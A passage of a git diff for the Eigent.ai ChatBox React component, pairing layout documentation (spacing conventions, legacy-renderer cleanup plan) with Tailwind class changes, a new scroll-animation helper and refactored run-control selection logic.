| Minimum space below timeline | 128px |
|
||||
| Dynamic space below timeline | BottomBox measured height + 8px |
|
||||
| Event-native row spacing | 12px |
|
||||
| Second and later query/header gap | 44px |
|
||||
| Follow-up query scroll transition | 800ms Framer Motion eased scroll |
|
||||
| Legacy query-group spacing | 12px |
|
||||
| Legacy content spacing inside a query group | 12px |
|
||||
| Separate legacy task/run sections | 32px bottom margin |
|
||||
| Folded plan preview | 200px height |
|
||||
| Expanded plan separation from BottomBox | 8px |
|
||||
| Footer compact threshold | 460px |
|
||||
| Composer input height | 40px minimum; 200px maximum |
|
||||
| Legacy user-message left indentation | 64px |
|
||||
| Floating legacy controls bottom boundary | 128px |
|
||||
|
||||
- **`TaskCard`**: Task type 1/2/3 flows—plan text, `taskRunning` rows, filter tabs, link to the chat that owns a subtask, expand/collapse with session-backed preference.
|
||||
- **`TaskItem`**: Single plan line edit/delete.
|
||||
- **`TypeCardSkeleton`**: Shown while the model is decomposing before `to_sub_tasks` is ready.
|
||||
- **`StreamingTaskList`**: Renders running subtasks during streaming / updates.
|
||||
The timeline bottom padding is calculated as:
|
||||
|
||||
## MessageItem (`MessageItem/`)
|
||||
```text
|
||||
maximum(128px, measured BottomBox height + 8px)
|
||||
```
|
||||
|
||||
- **`UserMessageCard` / `UserMessageRichContent`**: User bubble + rich blocks.
|
||||
- **`AgentMessageCard`**: Assistant markdown, optional typewriter, attachments.
|
||||
- **`SplittingProgressRow`**: Shown while the task is in the splitting phase; uses store `taskTime` / `elapsed` when present, with a per-session wall-clock fallback when not.
|
||||
- **`TaskWorkLogAccordion`**: Collapsible work log for running/finished/paused task (tool activate/deactivate, agent lines); Framer `height: auto` for expand, stable segment keys from the merged log.
|
||||
- **`TaskCompletionCard`**: Completion / summary style card when appropriate.
|
||||
- **`NoticeCard`**: Chain-of-thought or notice-style content.
|
||||
- **`FeedbackCard`**: Thumbs / feedback when enabled.
|
||||
- **`FloatingAction`**: Compact floating controls (wired from `ProjectSection`).
|
||||
- **`TokenUtils`**: Animated token number and `formatSplittingElapsed` helpers.
|
||||
This keeps the final timeline item visible above queued messages, banners,
|
||||
headers, and other BottomBox states whose height changes at runtime.
|
||||
|
||||
## BottomBox (`BottomBox/`)
|
||||
## Numeric spacing convention
|
||||
|
||||
- **`index.tsx`**: Wires `BoxHeader`, `InputBox` / `RichChatInput`, `QueuedBox` to task state (pending, running, confirm, etc.).
|
||||
- **`InputBox` / `RichChatInput` / `ModelSelect`**: Text input, model picker, rich input where applicable.
|
||||
- **`BoxHeader`**: Task summary, timing, and header affordances.
|
||||
- **`QueuedBox`**: Queued user messages when the task pipeline is busy.
|
||||
ChatBox spacing utilities must use numeric Tailwind values. Do not introduce
|
||||
named spacing utilities such as `p-sm`, `px-sm`, `gap-xs`, or `py-px`.
|
||||
|
||||
## Data flow (short)
|
||||
| Utility value | Rendered size |
|
||||
| ------------: | ------------: |
|
||||
| `0` | 0px |
|
||||
| `0.5` | 2px |
|
||||
| `1` | 4px |
|
||||
| `1.5` | 6px |
|
||||
| `2` | 8px |
|
||||
| `2.5` | 10px |
|
||||
| `3` | 12px |
|
||||
| `4` | 16px |
|
||||
| `5` | 20px |
|
||||
| `6` | 24px |
|
||||
| `8` | 32px |
|
||||
| `10` | 40px |
|
||||
| `16` | 64px |
|
||||
| `32` | 128px |
|
||||
|
||||
1. **User input** → `BottomBox` → `index.tsx` / store → API or store updates.
|
||||
1. **SSE / store updates** → `ProjectChatContainer` → `ProjectSection` → `UserQueryGroup` → `MessageItem` / `TaskBox` by step and status.
|
||||
1. **State** → **`chatStore`** (per chat), **`projectStore`** (project + which chat is active), plus local component state (expand, scroll, active query).
|
||||
Use an explicit arbitrary numeric value when Tailwind has no matching scale
|
||||
entry, for example `py-[1px]`.
|
||||
|
||||
## Extending the UI
|
||||
### Timeline rhythm
|
||||
|
||||
- **New agent or system message type**: branch in `UserQueryGroup.tsx` (and possibly `ProjectSection` if grouping changes).
|
||||
- **New task UI**: add under `TaskBox/` and mount from `UserQueryGroup` or `TaskCard` as needed.
|
||||
- **New bubble content**: add a card under `MessageItem/` and import it from `UserQueryGroup` (or the parent that owns that message list).
|
||||
Both timeline paths currently use a real 12px sibling rhythm:
|
||||
|
||||
This layout keeps **transport and layout** (`index`, `Project*`) separate from **message rendering** (`MessageItem/`) and **task planning/execution** (`TaskBox/`), and **composer** behavior (`BottomBox/`).
|
||||
- Event-native: `EventTimeline` uses `gap-3` between list items.
|
||||
- Legacy: `ProjectSection` uses `space-y-3` between query groups.
|
||||
- Legacy: `UserQueryGroup` uses `gap-3` between its direct content blocks.
|
||||
|
||||
Do not add a gap to a wrapper that contains only one child. It has no visual
|
||||
effect and obscures which parent owns the relationship between components.
|
||||
|
||||
## Legacy cleanup inventory
|
||||
|
||||
The following files belong to the legacy ChatStore conversation renderer. They
|
||||
can be removed after the event-native path is permanent and no fallback is
|
||||
required:
|
||||
|
||||
```text
|
||||
ProjectChatContainer.tsx
|
||||
ProjectSection.tsx
|
||||
UserQueryGroup.tsx
|
||||
InterruptedRunBanner.tsx
|
||||
|
||||
MessageItem/
|
||||
├── AgentMessageCard.tsx
|
||||
├── FloatingAction.tsx
|
||||
├── HumanInteractionCard.tsx
|
||||
├── NoticeCard.tsx
|
||||
├── PreparingToExecuteTasks.tsx
|
||||
├── TaskWorkLogAccordion.tsx
|
||||
└── UserMessageCard.tsx
|
||||
```
|
||||
|
||||
The following appear unused by production code and should be verified before
|
||||
deletion:
|
||||
|
||||
```text
|
||||
MessageItem/FeedbackCard.tsx
|
||||
MessageItem/SummaryMarkDown.tsx
|
||||
MessageItem/TaskCompletionCard.tsx
|
||||
TaskBox/TaskType.tsx
|
||||
```
|
||||
|
||||
### Move or replace before deleting
|
||||
|
||||
These components still have consumers outside the legacy ChatBox renderer:
|
||||
|
||||
| Component | External dependency/action |
|
||||
| ---------------------------------------- | ---------------------------------------------------------------------------------- |
|
||||
| `TaskBox/TaskCard.tsx` | Used by `Session/Workforce/FoldedPanel`; move to Workforce or replace |
|
||||
| `TaskBox/TaskItem.tsx` | Child of `TaskCard`; move with it |
|
||||
| `TaskBox/PlanTaskBox/` | Used by `Session/Workforce/FoldedPanel`; move or replace with event-native plan UI |
|
||||
| `MessageItem/MarkDown.tsx` | Used by `Folder`; move to a shared content component location |
|
||||
| `MessageItem/TokenUtils.tsx` | Used by Session, HistorySidebar, and Dashboard; move to shared utilities |
|
||||
| `MessageItem/UserMessageRichContent.tsx` | Used by PlanTaskBox; move with its remaining owner or make shared |
|
||||
|
||||
### Final cutover changes
|
||||
|
||||
After the dependencies above are resolved:
|
||||
|
||||
1. Remove the `ProjectChatContainer` branch from `ChatBox/index.tsx`.
|
||||
2. Remove the legacy interruption-banner branches.
|
||||
3. Remove `PLAN_OVERLAY_SLOT_ID` and the legacy plan overlay portal.
|
||||
4. Make `EventNativeProjectTimeline` the only conversation renderer.
|
||||
5. Remove the legacy/event-native conditional state and handlers from
|
||||
`ChatBox/index.tsx`.
|
||||
6. Retire `VITE_CHATBOX_EVENT_BUS` after event-native rendering is the default.
|
||||
7. Remove legacy projection normalization only after the event store no longer
|
||||
relies on legacy `/chat` frames as an ingestion source.
|
||||
8. Delete or update the corresponding legacy tests.
|
||||
|
||||
Do not remove the legacy event bridge merely because the legacy visual
|
||||
components are gone. The visible event-native timeline currently enables that
|
||||
bridge so legacy transport frames can still be normalized into the event store.
|
||||
|
||||
## Extending ChatBox
|
||||
|
||||
- Add a new semantic timeline node renderer in `EventTimeline/` and register it
|
||||
in `rendererRegistry.ts`.
|
||||
- Add display-density or visibility rules in `presentationPolicy.ts`.
|
||||
- Add a new human-control state to `BottomBox/types.ts`, route it through
|
||||
`ControlInputRouter`, and derive it in `useEventNativeHumanControl.ts`.
|
||||
- Keep transport and store logic outside presentation renderers.
|
||||
- Preserve the shared 600px timeline/composer alignment and 12px timeline
|
||||
rhythm unless the overall layout specification changes.
|
||||
|
|
|
|||
|
|
@ -80,7 +80,7 @@ export function FoldedView({
|
|||
exit={planBlurFadeMotion.exit}
|
||||
transition={planBlurFadeMotion.transition}
|
||||
className={cn(
|
||||
'relative mx-sm flex flex-col overflow-hidden rounded-2xl bg-ds-bg-splitting-subtle-default'
|
||||
'relative mx-2 flex flex-col overflow-hidden rounded-2xl bg-ds-bg-splitting-subtle-default'
|
||||
)}
|
||||
>
|
||||
<div className="flex items-center gap-2 border-x-0 border-b border-t-0 border-solid border-ds-border-neutral-subtle-default px-3 py-2">
|
||||
|
|
|
|||
|
|
@ -238,19 +238,19 @@ export function TaskCard({
|
|||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex h-auto w-full flex-col gap-2 px-sm py-2">
|
||||
<div className="relative h-auto w-full overflow-hidden rounded-xl bg-ds-bg-neutral-default-default py-sm">
|
||||
<div className="flex h-auto w-full flex-col gap-2 px-2 py-2">
|
||||
<div className="relative h-auto w-full overflow-hidden rounded-xl bg-ds-bg-neutral-default-default py-2">
|
||||
<div className="absolute left-0 top-0 w-full bg-transparent">
|
||||
<Progress value={progressValue} className="h-[2px] w-full" />
|
||||
</div>
|
||||
{summaryTask && (
|
||||
<div className="mb-2.5 px-sm text-sm font-bold leading-13">
|
||||
<div className="mb-2.5 px-2 text-sm font-bold leading-13">
|
||||
{summaryTask.split('|')[0].replace(/"/g, '')}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{summaryTask && (
|
||||
<div className={`flex items-center justify-between gap-2 px-sm`}>
|
||||
<div className="flex items-center justify-between gap-2 px-2">
|
||||
<div className="flex items-center gap-2">
|
||||
{taskType === 1 && (
|
||||
<TaskState
|
||||
|
|
@ -381,7 +381,7 @@ export function TaskCard({
|
|||
|
||||
<div className="relative">
|
||||
{taskType === 1 && (
|
||||
<div className="ease-[cubic-bezier(0.23,1,0.32,1)] mt-sm flex flex-col px-sm duration-200 animate-in fade-in-0 slide-in-from-bottom-4">
|
||||
<div className="ease-[cubic-bezier(0.23,1,0.32,1)] mt-2 flex flex-col px-2 duration-200 animate-in fade-in-0 slide-in-from-bottom-4">
|
||||
{taskInfo.map((task, taskIndex) => (
|
||||
<div
|
||||
key={`task-${taskIndex}`}
|
||||
|
|
@ -407,7 +407,7 @@ export function TaskCard({
|
|||
opacity: isExpanded ? 1 : 0,
|
||||
}}
|
||||
>
|
||||
<div className="mt-sm flex flex-col gap-2 px-2">
|
||||
<div className="mt-2 flex flex-col gap-2 px-2">
|
||||
{filterTasks.map((task: TaskInfo) => {
|
||||
return (
|
||||
<div
|
||||
|
|
@ -452,7 +452,7 @@ export function TaskCard({
|
|||
}
|
||||
}}
|
||||
key={`taskList-${task.id}`}
|
||||
className={`ease-[cubic-bezier(0.23,1,0.32,1)] flex gap-2 rounded-lg px-sm py-sm transition-[background-color,border-color] duration-200 animate-in fade-in-0 slide-in-from-left-2 ${
|
||||
className={`ease-[cubic-bezier(0.23,1,0.32,1)] flex gap-2 rounded-lg px-2 py-2 transition-[background-color,border-color] duration-200 animate-in fade-in-0 slide-in-from-left-2 ${
|
||||
task.status === TaskStatus.COMPLETED
|
||||
? 'bg-ds-bg-completed-subtle-default'
|
||||
: task.status === TaskStatus.FAILED
|
||||
|
|
|
|||
|
|
@ -67,13 +67,13 @@ export function TaskItem({
|
|||
<div key={`task-item-${taskIndex}`} className="w-full">
|
||||
<div
|
||||
onDoubleClick={(e) => handleFocus(e, true)}
|
||||
className={`group relative mb-2 flex min-h-2 w-full items-start gap-0 rounded-lg border border-solid p-sm hover:bg-ds-bg-neutral-default-hover ${
|
||||
className={`group relative mb-2 flex min-h-2 w-full items-start gap-0 rounded-lg border border-solid p-2 hover:bg-ds-bg-neutral-default-hover ${
|
||||
isFocus
|
||||
? 'border-ds-border-neutral-subtle-disabled bg-ds-bg-neutral-subtle-default'
|
||||
: 'border-ds-border-neutral-subtle-default group-hover:border-transparent'
|
||||
}`}
|
||||
>
|
||||
<div className="flex h-4 w-7 flex-shrink-0 cursor-pointer items-center justify-center pr-sm pt-0.5">
|
||||
<div className="flex h-4 w-7 flex-shrink-0 cursor-pointer items-center justify-center pr-2 pt-0.5">
|
||||
{taskInfo.id === '' ? (
|
||||
<CircleDashed
|
||||
size={13}
|
||||
|
|
@ -105,7 +105,7 @@ export function TaskItem({
|
|||
)}
|
||||
</div>
|
||||
<div
|
||||
className={`absolute right-2 top-2 flex items-center gap-xs group-hover:opacity-100 ${
|
||||
className={`absolute right-2 top-2 flex items-center gap-1 group-hover:opacity-100 ${
|
||||
isFocus ? 'opacity-100' : 'opacity-0'
|
||||
} transition-opacity duration-300`}
|
||||
>
|
||||
|
|
|
|||
|
|
@ -18,7 +18,7 @@ import { VanillaChatStore } from '@/store/chatStore';
|
|||
import { usePageTabStore } from '@/store/pageTabStore';
|
||||
import { AgentStep, ChatTaskStatus, SessionMode } from '@/types/constants';
|
||||
import { motion } from 'framer-motion';
|
||||
import { ChevronDown, FileText } from 'lucide-react';
|
||||
import { ChevronDown, FileText, InfoIcon } from 'lucide-react';
|
||||
import React, {
|
||||
useCallback,
|
||||
useEffect,
|
||||
|
|
@ -445,7 +445,7 @@ export const UserQueryGroup: React.FC<UserQueryGroupProps> = ({
|
|||
duration: 0.3,
|
||||
delay: index * 0.1, // Stagger animation for multiple groups
|
||||
}}
|
||||
className="relative"
|
||||
className="relative flex flex-col gap-3"
|
||||
>
|
||||
{/* User query: always rendered as a regular component in the chat flow. */}
|
||||
{queryGroup.userMessage && (
|
||||
|
|
@ -453,7 +453,7 @@ export const UserQueryGroup: React.FC<UserQueryGroupProps> = ({
|
|||
initial={{ opacity: 0, y: 10 }}
|
||||
animate={{ opacity: 1, y: 0 }}
|
||||
transition={{ duration: 0.3 }}
|
||||
className="px-sm py-sm"
|
||||
className="px-2 py-2"
|
||||
>
|
||||
<UserMessageCard
|
||||
id={queryGroup.userMessage.id}
|
||||
|
|
@ -526,7 +526,7 @@ export const UserQueryGroup: React.FC<UserQueryGroupProps> = ({
|
|||
initial={{ opacity: 0, y: 8 }}
|
||||
animate={{ opacity: 1, y: 0 }}
|
||||
transition={{ duration: 0.25, delay: 0.05 }}
|
||||
className="px-sm"
|
||||
className="px-2"
|
||||
>
|
||||
{showPreparingExecute ? <PreparingToExecuteTasks /> : null}
|
||||
<TaskWorkLogAccordion chatStore={chatStore} taskId={activeTaskId} />
|
||||
|
|
@ -607,7 +607,7 @@ export const UserQueryGroup: React.FC<UserQueryGroupProps> = ({
|
|||
initial={{ opacity: 0, y: 10 }}
|
||||
animate={{ opacity: 1, y: 0 }}
|
||||
transition={{ delay: 0.2 }}
|
||||
className="flex flex-col gap-4"
|
||||
className="flex flex-col"
|
||||
>
|
||||
<AgentMessageCard
|
||||
typewriter={shouldUseLiveAgentTypewriter(task, message.id)}
|
||||
|
|
@ -639,7 +639,7 @@ export const UserQueryGroup: React.FC<UserQueryGroupProps> = ({
|
|||
initial={{ opacity: 0, y: 10 }}
|
||||
animate={{ opacity: 1, y: 0 }}
|
||||
transition={{ delay: 0.2 }}
|
||||
className="flex flex-col gap-4"
|
||||
className="flex flex-col"
|
||||
>
|
||||
<AgentMessageCard
|
||||
key={message.id}
|
||||
|
|
@ -656,7 +656,7 @@ export const UserQueryGroup: React.FC<UserQueryGroupProps> = ({
|
|||
initial={{ opacity: 0, y: 10 }}
|
||||
animate={{ opacity: 1, y: 0 }}
|
||||
transition={{ delay: 0.2 }}
|
||||
className="px-sm"
|
||||
className="px-2"
|
||||
>
|
||||
<AgentResultCard
|
||||
id={message.id}
|
||||
|
|
@ -674,7 +674,7 @@ export const UserQueryGroup: React.FC<UserQueryGroupProps> = ({
|
|||
initial={{ opacity: 0, y: 10 }}
|
||||
animate={{ opacity: 1, y: 0 }}
|
||||
transition={{ delay: 0.2 }}
|
||||
className="flex flex-col gap-4"
|
||||
className="flex flex-col"
|
||||
>
|
||||
<AgentMessageCard
|
||||
key={message.id}
|
||||
|
|
@ -694,7 +694,7 @@ export const UserQueryGroup: React.FC<UserQueryGroupProps> = ({
|
|||
initial={{ opacity: 0 }}
|
||||
animate={{ opacity: 1 }}
|
||||
transition={{ delay: 0.2 }}
|
||||
className="flex flex-col gap-4"
|
||||
className="flex flex-col"
|
||||
>
|
||||
<ArtifactChangeList
|
||||
files={message.fileList}
|
||||
|
|
@ -723,8 +723,9 @@ export const UserQueryGroup: React.FC<UserQueryGroupProps> = ({
|
|||
<motion.div
|
||||
initial={{ opacity: 0, y: 6 }}
|
||||
animate={{ opacity: 1, y: 0 }}
|
||||
className="bg-ds-bg-neutral-secondary-default mx-6 my-3 rounded-xl border border-ds-border-neutral-default-default px-4 py-3 text-body-sm text-ds-text-neutral-muted-default"
|
||||
className="mx-2 flex flex-row items-center gap-2 rounded-xl bg-ds-bg-neutral-default-default px-4 py-3 text-body-sm text-ds-text-neutral-muted-default"
|
||||
>
|
||||
<InfoIcon className="size-4 text-ds-icon-neutral-default-default" />
|
||||
{t('chat.run-no-final-response')}
|
||||
</motion.div>
|
||||
) : null}
|
||||
|
|
@ -735,7 +736,7 @@ export const UserQueryGroup: React.FC<UserQueryGroupProps> = ({
|
|||
initial={{ opacity: 0, y: 10 }}
|
||||
animate={{ opacity: 1, y: 0 }}
|
||||
transition={{ delay: 0.15 }}
|
||||
className="px-sm"
|
||||
className="px-2"
|
||||
>
|
||||
<PlanTaskBox
|
||||
chatStore={chatStore}
|
||||
|
|
|
|||
74
src/components/ChatBox/chatTimelineScroll.ts
Normal file
74
src/components/ChatBox/chatTimelineScroll.ts
Normal file
|
|
@ -0,0 +1,74 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { animate } from 'framer-motion';
|
||||
|
||||
/** Default breathing room below the top border of the ChatBox scroll viewport. */
|
||||
export const CHAT_QUERY_HEADER_GAP_PX = 44;
|
||||
export const CHAT_QUERY_SCROLL_DURATION_SECONDS = 0.8;
|
||||
const CHAT_QUERY_SCROLL_EASE = [0.22, 1, 0.36, 1] as const;
|
||||
|
||||
export type ChatTimelineScrollAnimation = ReturnType<typeof animate>;
|
||||
|
||||
export function getChatTimelineAnchorScrollTop({
|
||||
containerTop,
|
||||
currentScrollTop,
|
||||
targetTop,
|
||||
topGapPx = CHAT_QUERY_HEADER_GAP_PX,
|
||||
}: {
|
||||
containerTop: number;
|
||||
currentScrollTop: number;
|
||||
targetTop: number;
|
||||
topGapPx?: number;
|
||||
}): number {
|
||||
return Math.max(
|
||||
0,
|
||||
currentScrollTop + targetTop - containerTop - Math.max(0, topGapPx)
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Ease a timeline item to the top of its scroll viewport. Framer Motion owns
|
||||
* the numeric scroll position so a new request can stop and retarget the same
|
||||
* transition without invoking native smooth-scroll or remounting content.
|
||||
*/
|
||||
export function animateChatTimelineAnchor(
|
||||
container: HTMLElement,
|
||||
target: HTMLElement,
|
||||
content?: HTMLElement | null,
|
||||
onComplete?: () => void
|
||||
): ChatTimelineScrollAnimation {
|
||||
const containerRect = container.getBoundingClientRect();
|
||||
const targetRect = target.getBoundingClientRect();
|
||||
const top = getChatTimelineAnchorScrollTop({
|
||||
containerTop: containerRect.top,
|
||||
currentScrollTop: container.scrollTop,
|
||||
targetTop: targetRect.top,
|
||||
});
|
||||
|
||||
// A short response may not naturally leave enough scroll range to place its
|
||||
// query at the top. Reserve one viewport below the anchor so the requested
|
||||
// alignment cannot be clamped by the browser.
|
||||
if (content) {
|
||||
content.style.minHeight = `${Math.ceil(top + container.clientHeight)}px`;
|
||||
}
|
||||
return animate(container.scrollTop, top, {
|
||||
duration: CHAT_QUERY_SCROLL_DURATION_SECONDS,
|
||||
ease: CHAT_QUERY_SCROLL_EASE,
|
||||
onUpdate: (value) => {
|
||||
container.scrollTop = value;
|
||||
},
|
||||
onComplete,
|
||||
});
|
||||
}
|
||||
|
|
@ -76,6 +76,11 @@ import {
|
|||
InterruptedRunBannerAction,
|
||||
} from './InterruptedRunBanner';
|
||||
import { ProjectChatContainer } from './ProjectChatContainer';
|
||||
import {
|
||||
isEventNativeRunActionable,
|
||||
selectActionableInterruptedRun,
|
||||
selectEventNativeActiveRunId,
|
||||
} from './runControlArbitration';
|
||||
import { PLAN_OVERLAY_SLOT_ID } from './TaskBox/PlanTaskBox';
|
||||
|
||||
/** Minimum scroll padding under messages (matches previous ~8rem floor). */
|
||||
|
|
@ -85,7 +90,7 @@ const CHAT_SCROLL_BOTTOM_GAP_PX = 8;
|
|||
|
||||
const USAGE_WARNING_RATIO = 0.75;
|
||||
const FREE_STARTING_CREDITS = 500;
|
||||
const ELIGIBLE_EVENT_NATIVE_RUN_STATUSES = new Set([
|
||||
const READ_ONLY_EVENT_NATIVE_RUN_STATUSES = new Set([
|
||||
'pending',
|
||||
'running',
|
||||
'waiting_for_user',
|
||||
|
|
@ -98,10 +103,6 @@ const subscribeToNothing = () => () => undefined;
|
|||
type EventNativeProjectedRun =
|
||||
ProjectEventStoreSnapshot['view']['runs'][string];
|
||||
|
||||
function isEventNativeRunActionable(run: EventNativeProjectedRun): boolean {
|
||||
return run.origin === 'local' && !run.resumeBlockedReason;
|
||||
}
|
||||
|
||||
function isEventNativeRunReadOnly(run: EventNativeProjectedRun): boolean {
|
||||
return (
|
||||
(run.origin !== null && run.origin !== 'local') ||
|
||||
|
|
@ -130,50 +131,13 @@ function selectLatestReadOnlyEventNativeRun(
|
|||
Object.values(snapshot.view.runs)
|
||||
.filter(
|
||||
(run) =>
|
||||
ELIGIBLE_EVENT_NATIVE_RUN_STATUSES.has(run.status) &&
|
||||
READ_ONLY_EVENT_NATIVE_RUN_STATUSES.has(run.status) &&
|
||||
isEventNativeRunReadOnly(run)
|
||||
)
|
||||
.sort(compareProjectedRunsByRecency)[0] ?? null
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Bridge legacy ownership during cutover, then fall back to durable state for
|
||||
* typed-only cold hydration. Pending control order is backend/event order.
|
||||
*/
|
||||
function selectEventNativeActiveRunId(
|
||||
snapshot: ProjectEventStoreSnapshot | null,
|
||||
legacyActiveRunId: string | null | undefined
|
||||
): string | null {
|
||||
if (legacyActiveRunId) return legacyActiveRunId;
|
||||
if (!snapshot) return null;
|
||||
|
||||
for (const interactionId of snapshot.control.orderedInteractionIds) {
|
||||
const interaction = snapshot.control.interactionById[interactionId];
|
||||
const projectedRun = interaction
|
||||
? snapshot.view.runs[interaction.runId]
|
||||
: undefined;
|
||||
if (
|
||||
interaction?.status === 'requested' &&
|
||||
projectedRun &&
|
||||
ELIGIBLE_EVENT_NATIVE_RUN_STATUSES.has(projectedRun.status) &&
|
||||
isEventNativeRunActionable(projectedRun)
|
||||
) {
|
||||
return interaction.runId;
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
Object.values(snapshot.view.runs)
|
||||
.filter(
|
||||
(run) =>
|
||||
ELIGIBLE_EVENT_NATIVE_RUN_STATUSES.has(run.status) &&
|
||||
isEventNativeRunActionable(run)
|
||||
)
|
||||
.sort(compareProjectedRunsByRecency)[0]?.runId ?? null
|
||||
);
|
||||
}
|
||||
|
||||
interface SubscriptionLimitInfo {
|
||||
plan_key?: string | null;
|
||||
is_trialing?: boolean | null;
|
||||
|
|
@ -576,7 +540,8 @@ export default function ChatBox(): JSX.Element {
|
|||
activeAskTask.type !== 'share' &&
|
||||
activeAskTask.status !== ChatTaskStatus.FINISHED &&
|
||||
projectedLegacyRun &&
|
||||
ELIGIBLE_EVENT_NATIVE_RUN_STATUSES.has(projectedLegacyRun.status) &&
|
||||
(projectedLegacyRun.status === 'running' ||
|
||||
projectedLegacyRun.status === 'cancelling') &&
|
||||
isEventNativeRunActionable(projectedLegacyRun)
|
||||
? activeTaskId
|
||||
: null;
|
||||
|
|
@ -590,6 +555,10 @@ export default function ChatBox(): JSX.Element {
|
|||
const eventNativeActiveProjectedRun = eventNativeActiveRunId
|
||||
? eventNativeProjectSnapshot?.view.runs[eventNativeActiveRunId]
|
||||
: undefined;
|
||||
const eventNativeInterruptedRun = selectActionableInterruptedRun(
|
||||
eventNativeProjectSnapshot,
|
||||
interruptedRun?.run_id
|
||||
);
|
||||
const activeAsk = activeAskTask?.activeAsk;
|
||||
const activeAskMessage = activeAskTask?.messages.findLast(
|
||||
(item) => item.step === AgentStep.ASK
|
||||
|
|
@ -829,17 +798,6 @@ export default function ChatBox(): JSX.Element {
|
|||
}
|
||||
}, [skill_prompt, searchParams, setSearchParams]);
|
||||
|
||||
const scrollToBottom = useCallback(() => {
|
||||
if (scrollContainerRef.current) {
|
||||
setTimeout(() => {
|
||||
scrollContainerRef.current!.scrollTo({
|
||||
top: scrollContainerRef.current!.scrollHeight + 20,
|
||||
behavior: 'smooth',
|
||||
});
|
||||
}, 200);
|
||||
}
|
||||
}, []);
|
||||
|
||||
// Handle scrollbar visibility on scroll
|
||||
useEffect(() => {
|
||||
const scrollContainer = scrollContainerRef.current;
|
||||
|
|
@ -1046,17 +1004,12 @@ export default function ChatBox(): JSX.Element {
|
|||
role: 'user',
|
||||
content: displayContent,
|
||||
interactionResponseTo: activeInteraction?.interaction_id,
|
||||
attaches:
|
||||
JSON.parse(JSON.stringify(chatStore.tasks[_taskId]?.attaches)) ||
|
||||
[],
|
||||
attaches: JSON.parse(
|
||||
JSON.stringify(chatStore.tasks[_taskId]?.attaches || [])
|
||||
),
|
||||
});
|
||||
setMessage('');
|
||||
|
||||
// Scroll to bottom after adding user message
|
||||
setTimeout(() => {
|
||||
scrollToBottom();
|
||||
}, 200);
|
||||
|
||||
chatStore.setIsPending(_taskId, true);
|
||||
|
||||
let replyResult: any;
|
||||
|
|
@ -1160,8 +1113,9 @@ export default function ChatBox(): JSX.Element {
|
|||
// Pass the message content to startTask instead of adding it to current chatStore
|
||||
const attachesToSend =
|
||||
queuedAttaches ||
|
||||
JSON.parse(JSON.stringify(chatStore.tasks[_taskId]?.attaches)) ||
|
||||
[];
|
||||
JSON.parse(
|
||||
JSON.stringify(chatStore.tasks[_taskId]?.attaches || [])
|
||||
);
|
||||
try {
|
||||
ensureActiveProjectMode();
|
||||
await chatStore.startTask(
|
||||
|
|
@ -1215,7 +1169,14 @@ export default function ChatBox(): JSX.Element {
|
|||
nextTaskId
|
||||
);
|
||||
if (!nextChatResult) {
|
||||
throw new Error('Unable to prepare the follow-up task.');
|
||||
// Every other failure path in this handler surfaces a toast. The
|
||||
// outer catch only logs, so without this the user would click
|
||||
// Send and observe nothing at all.
|
||||
const prepareError = new Error(
|
||||
t('chat.follow-up-prepare-failed')
|
||||
);
|
||||
toast.error(prepareError.message);
|
||||
throw prepareError;
|
||||
}
|
||||
|
||||
const nextChatState = nextChatResult.chatStore.getState();
|
||||
|
|
@ -1272,15 +1233,12 @@ export default function ChatBox(): JSX.Element {
|
|||
}
|
||||
}
|
||||
} else {
|
||||
setTimeout(() => {
|
||||
scrollToBottom();
|
||||
}, 200);
|
||||
|
||||
// For the very first message, add it to the current chatStore first, then call startTask
|
||||
const attachesToSend =
|
||||
queuedAttaches ||
|
||||
JSON.parse(JSON.stringify(chatStore.tasks[_taskId]?.attaches)) ||
|
||||
[];
|
||||
JSON.parse(
|
||||
JSON.stringify(chatStore.tasks[_taskId]?.attaches || [])
|
||||
);
|
||||
if (!preserveComposer) setMessage('');
|
||||
try {
|
||||
ensureActiveProjectMode();
|
||||
|
|
@ -1857,7 +1815,11 @@ export default function ChatBox(): JSX.Element {
|
|||
};
|
||||
|
||||
let eventNativeRunControlVariant: BottomBoxRunControlVariant | null = null;
|
||||
if (eventNativeTimelineEnabled && interruptedRun) {
|
||||
if (
|
||||
eventNativeTimelineEnabled &&
|
||||
interruptedRun &&
|
||||
(isCloudRestoredRun || eventNativeInterruptedRun)
|
||||
) {
|
||||
eventNativeRunControlVariant = {
|
||||
kind: 'run_control',
|
||||
header: {
|
||||
|
|
@ -2040,9 +2002,9 @@ export default function ChatBox(): JSX.Element {
|
|||
<div
|
||||
ref={bottomBoxOverlayRef}
|
||||
data-bottom-box-overlay
|
||||
className="pointer-events-none absolute inset-x-0 bottom-0 z-30 flex justify-center"
|
||||
className="pointer-events-none absolute inset-x-0 bottom-0 z-30 flex justify-center px-2"
|
||||
>
|
||||
<div className="pointer-events-auto mx-auto w-full max-w-[600px] rounded-t-3xl bg-ds-bg-neutral-subtle-default px-2 pb-1">
|
||||
<div className="pointer-events-auto mx-auto w-full max-w-[600px] rounded-t-3xl bg-ds-bg-neutral-subtle-default pb-1">
|
||||
{interruptedRun && !eventNativeTimelineEnabled && (
|
||||
<InterruptedRunBanner
|
||||
compact
|
||||
|
|
|
|||
119
src/components/ChatBox/runControlArbitration.ts
Normal file
119
src/components/ChatBox/runControlArbitration.ts
Normal file
|
|
@ -0,0 +1,119 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
